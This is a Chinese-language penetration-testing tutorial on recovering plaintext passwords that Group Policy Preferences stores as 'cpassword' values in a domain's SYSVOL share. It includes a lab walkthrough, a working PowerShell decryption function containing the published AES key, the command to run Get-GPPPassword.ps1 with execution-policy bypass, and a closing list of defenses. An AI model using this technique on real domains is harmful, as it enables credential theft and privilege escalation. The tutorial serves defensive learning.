域渗透——利用SYSVOL还原组策略中保存的密码
00x00 前言
Local Administrator Password Solution
(LAPS
)最大的优点是能够确保每台域内主机有不同的密码,并且定期更换。那么,如果域内未配置LAPS
,如何批量设置域内主机的本地管理员密码呢?这其中又存在哪些可被利用的地方呢?
注:如要完美实现建议选用Server 2003
系统!!!这里小编使用Server 2012
的域控,由于不支持KB2962486
补丁所以会导致部分功能无法完全实现。
00x01 域内共享文件夹\SYSVOL介绍
在域中,存在一个默认的共享路径:
\\<DOMAIN>\SYSVOL\<DOMAIN>\
所有域内主机都能访问,里面保存组策略相关数据,包含登录脚本配置文件等
例如,测试主机所在域为21r000.org
,可访问共享文件夹\\21r000.org\SYSVOL\21r000.org
。
00x02 域管理员批量修改域内主机本地管理员密码的方法
1、测试Server 2012系统
对于server2012
,想要批量修改域内主机本地管理员密码,常常通过配置组策略执行vbs
脚本的方式
给出一个修改密码的vbs
脚本(实现方式不唯一),代码如下:
strComputer = "."
Set objUser = GetObject("WinNT://" & strComputer & "/Administrator, user")
objUser.SetPassword "21r000@test666"
objUser.SetInfo
这种实现方式,最大的弊端在于修改后的密码会明文保存在vbs
脚本中,而该vbs
脚本通常会保存在共享文件夹\SYSVOL
这就存在一个隐患:任何域用户都能读取该vbs
脚本,也就能够获取脚本中保存的明文密码
2、测试Server 2012系统
使用Group Policy Preferences
配置组策略批量修改用户本地管理员密码,具体方法如下:
开始-全部应用-组策略管理
选中域21r000.org
后,右键,选中“在这个域中创建GPO
并在此处链接”
设置名称为test666
test666
-设置-右键-编辑
用户配置-首选项-控制面板设置-本地用户和组
右键新建本地用户更新,administrator
(内置),设置密码为21r000@test666
委派,设置权限
在详细一栏,可看到该策略对应的ID为{4CEB170F-B356-4BBD-90A6-1AB86412565A}
至此,组策略配置完成,域内主机重新登录,即可应用此策略
在共享文件夹\SYSVOL
中可看到组策略对应ID
的文件夹
\\21r000.org\SYSVOL\21r000.org\Policies\{4CEB170F-B356-4BBD-90A6-1AB86412565A}
由于我们刚刚修改了用户配置下的控制面板,所以在对应的文件夹下能找到配置文件Groups.xml
,具体路径如下:
\\21r000.org\SYSVOL\21r000.org\Policies\{4CEB170F-B356-4BBD-90A6-1AB86412565A}\User\Preferences\Groups
Groups.xml
内容如下:
<?xml version="1.0" encoding="utf-8" ?>
- <Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
- <User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="Administrator (内置)" image="2" changed="2021-12-11 07:01:12" uid="{856CE2F7-9053-48B5-BDAD-5C463D2CE3E0}">
<Properties action="U" newName="" fullName="" description="" cpassword="SnnAkuzBqO6Hx9PkU9X7sVN84eQalEHIikEl6cieXuc" changeLogon="0" noChange="0" neverExpires="0" acctDisabled="0" subAuthority="RID_ADMIN" userName="Administrator (内置)" />
</User>
</Groups>
值得注意的是其中的cpassword
项,保存的是加密后的内容:
SnnAkuzBqO6Hx9PkU9X7sVN84eQalEHIikEl6cieXuc
加密方式为AES 256
,虽然目前AES 256
很难被攻破,但是微软选择公开了该AES 256
加密的私钥
借助该私钥,我们就能还原出明文。
还原方式可采用Chris Campbell @obscuresec
开源的powershell
脚本Get-GPPPassword.ps1
该脚本可在域内主机上执行,能够自动查询共享文件夹\SYSVOL
中的文件,还原出所有明文密码
powershell -executionpolicy bypass -file Get-GPPPassword.ps1
当然,仅仅为了解密cpassword="SnnAkuzBqO6Hx9PkU9X7sVN84eQalEHIikEl6cieXuc"
,我们可以对以上powershell
脚本的功能简化
简化代码如下:
function Get-DecryptedCpassword {
[CmdletBinding()]
Param (
[string] $Cpassword
)
try {
#Append appropriate padding based on string length
$Mod = ($Cpassword.length % 4)
switch ($Mod) {
'1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
'2' {$Cpassword += ('=' * (4 - $Mod))}
'3' {$Cpassword += ('=' * (4 - $Mod))}
}
$Base64Decoded = [Convert]::FromBase64String($Cpassword)
#Create a new AES .NET Crypto Object
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
#Set IV to all nulls to prevent dynamic generation of IV value
$AesIV = New-Object Byte[]($AesObject.IV.Length)
$AesObject.IV = $AesIV
$AesObject.Key = $AesKey
$DecryptorObject = $AesObject.CreateDecryptor()
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
}
catch {Write-Error $Error[0]}
}
Get-DecryptedCpassword "SnnAkuzBqO6Hx9PkU9X7sVN84eQalEHIikEl6cieXuc"
还原出明文密码为21r000@test666
00x03 组策略中可被利用的地方
组策略中可被利用的地方不只在修改管理员密码的位置,还包括以下:
Services\Services.xml
ScheduledTasks\ScheduledTasks.xml
- http://msdn.microsoft.com/en-us/library/cc422920(v=prot.13)
- http://msdn.microsoft.com/en-us/library/dd341350(v=prot.13)
- http://msdn.microsoft.com/en-us/library/dd304114(v=prot.13)
Printers\Printers.xml
Drives\Drives.xml
DataSources\DataSources.xml
注:以上位置并不绝对,在配置时需要在组策略中填入用户名密码,对应的Groups.xml
才会包含cpassword
属性,才能用于还原明文。
可以拿计划任务来举例,对应ScheduledTasks.xml
的位置
\\21r000.org\SYSVOL\21r000.org\Policies\{4CEB170F-B356-4BBD-90A6-1AB86412565A}\User\Preferences\ScheduledTasks
组策略配置的位置为:用户配置-首选项-控制面板设置-计划任务
新建计划任务,设置名称为:test111
,需要选中运行身份,填入用户名test111
和密码test@111
。
如未输入用户名和密码,则ScheduledTasks.xml
文件中不会包含cpassword
属性,如下图
填入了测试密码后对应的ScheduledTasks.xml
才会包含cpassword
属性
mZC5nKiO6yVR2yFD4YZ3umRzNBgRZlODkPDNkaEFQgI
使用powershell
对其解密,还原出密码为:test@111
至此得出结论:
域管理员在使用组策略批量管理域内主机时,如果配置组策略的过程中需要填入密码,那么该密码会被保存到共享文件夹\SYSVOL
下,默认所有域内用户可访问,虽然被加密,但很容易被解密
这就造成了安全隐患,现实中域管理员往往会在组策略中使用域管理员密码,组策略配置文件中的密码很容易被获得,导致权限提升
为此,微软发布了补丁KB2962486
。
KB2962486下载链接
系统打了补丁后,组策略中无法设置用户名密码,如下图
当然,共享文件夹\SYSVOL
下的xml
文件也就不再包含cpassword
属性
注:xml
文件还是会和组策略保持同步
00x04 防御
结合攻击方法,可供选择的防御方法如下:
使用LAPS批量管理域内主机本地管理员帐户
域控安装补丁KB2962486
不在组策略中使用域控密码
设置共享文件夹\SYSVOL的访问权限
使用PsPasswd批量修改域内主机本地管理员密码